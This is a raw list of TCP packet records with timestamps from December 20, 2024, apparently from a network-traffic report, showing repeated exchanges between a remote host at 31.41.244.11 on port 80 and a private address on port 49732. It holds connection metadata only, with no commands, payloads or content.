Dec 20, 2024 17:43:22.810018063 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.810066938 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.810921907 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.810967922 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.810982943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.811029911 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.812154055 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.812227011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.812562943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.812619925 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.813299894 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.813358068 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.813540936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.813585997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.814475060 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.814522028 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.814950943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.814999104 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.815675974 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.815728903 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.816284895 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.816334009 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.816874981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.816922903 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.816965103 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.817008972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.818197012 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.818248034 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.818442106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.818491936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.819240093 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.819289923 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.819303036 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.819346905 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.820386887 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.820437908 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.821079969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.821127892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.821650028 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.821710110 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.821737051 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.821779013 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.822777033 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.822824955 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.822931051 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.822972059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.823921919 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.823972940 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.824073076 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.824114084 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.825190067 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.825232029 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.825666904 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.825715065 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.826319933 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.826365948 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.826402903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.826442003 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.827510118 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.827558041 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.828408003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.828454971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.828713894 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.828757048 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.828824997 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.828866959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.829895020 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.829947948 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.830018997 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.830059052 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.831090927 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.831137896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.831568003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.831612110 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.832367897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.832432985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.832494974 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.832536936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.833475113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.833522081 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.833749056 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.833789110 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.834750891 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.834794044 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.834891081 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.834929943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.835777044 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.835822105 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.965662003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.965759993 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.965799093 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.965847015 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.966202021 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.966250896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.966572046 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.966626883 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.967400074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.967448950 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.967617035 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.967664957 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.968588114 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.968641043 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.968683958 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.968729019 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.969779968 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.969832897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.969916105 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.969959974 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.970983982 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.971030951 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.971050978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.971084118 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.972167969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.972232103 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.972321033 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.972367048 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.973300934 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.973359108 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.973460913 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.973541975 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.974499941 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.974608898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.974759102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.974805117 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.975661039 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.975713968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.975752115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.975794077 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.976866007 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.976917982 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.976932049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.976978064 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.978135109 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.978188992 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.978229046 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.978283882 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.979335070 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.979399920 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.979517937 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.979563951 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.980390072 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.980453014 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.980741978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.980793953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.981745958 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.981806040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.982567072 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.982620955 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.982794046 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.982808113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.982846022 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.983988047 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.984050035 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.984599113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.984690905 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.985126972 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.985176086 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.985508919 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.985563040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.986332893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.986346960 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.986387014 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.987489939 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.987550020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.987590075 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.987633944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.988703966 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.988750935 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.989034891 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.989082098 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.989850044 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.989897013 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.989984989 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.990025043 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.991053104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.991117001 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.991739035 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.991790056 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.992229939 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.992280006 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.992566109 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.992609978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.993407011 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.993458033 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.993693113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.993738890 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.994730949 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.994797945 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.995120049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.995166063 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.995804071 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.995853901 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.996511936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.996562004 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.997025967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.997039080 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.997087002 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.998189926 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.998243093 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.998423100 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.998477936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.999422073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.999473095 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.999674082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.999718904 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.000551939 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.000592947 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.000628948 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.000674963 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.001741886 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.001785040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.001851082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.001895905 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.002904892 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.002952099 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.003511906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.003556967 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.004122972 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.004173994 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.004256010 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.004297018 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.005363941 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.005418062 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.005724907 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.005774975 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.006534100 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.006580114 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.006706953 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.006762981 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.007627964 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.007683992 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.007945061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.007998943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.008847952 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.008896112 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.008987904 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.009041071 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.010042906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.010096073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.010253906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.010308981 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.011193037 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.011234045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.011327028 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.011368990 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.012376070 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.012428045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.012531042 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.012566090 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.013547897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.013616085 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.014040947 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.014100075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.014827967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.014842033 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.014883041 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.014916897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.015959978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.016019106 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.016129971 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.016170979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.017134905 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.017178059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.017318010 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.017460108 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.018363953 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.018404961 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.018556118 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.018594027 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.019548893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.019589901 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.020338058 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.020381927 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.020670891 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.020714045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.020776033 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.020824909 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.021843910 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.021884918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.022070885 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.022106886 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.023035049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.023078918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.024116039 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.024157047 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.024244070 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.024257898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.024275064 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.024298906 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.025405884 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.025497913 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.026576996 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.026633978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.026669979 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.026684046 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.026721954 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.026735067 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.027760029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.027822018 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.157592058 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.157711029 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.157728910 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.157783031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.157834053 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.157883883 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.157937050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.157980919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.159086943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.159143925 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.159429073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.159482002 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.160303116 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.160362959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.160402060 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.160446882 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.161431074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.161489010 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.162157059 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.162213087 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.162795067 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.162843943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.163772106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.163793087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.163822889 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.163850069 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.163863897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.163902044 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.165020943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.165033102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.165076017 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.166512012 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.166524887 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.166564941 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.167365074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.167421103 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.167560101 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.167614937 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.168565035 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.168596983 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.168613911 CET	49732	80	192.168.2.6	31.41.244.11
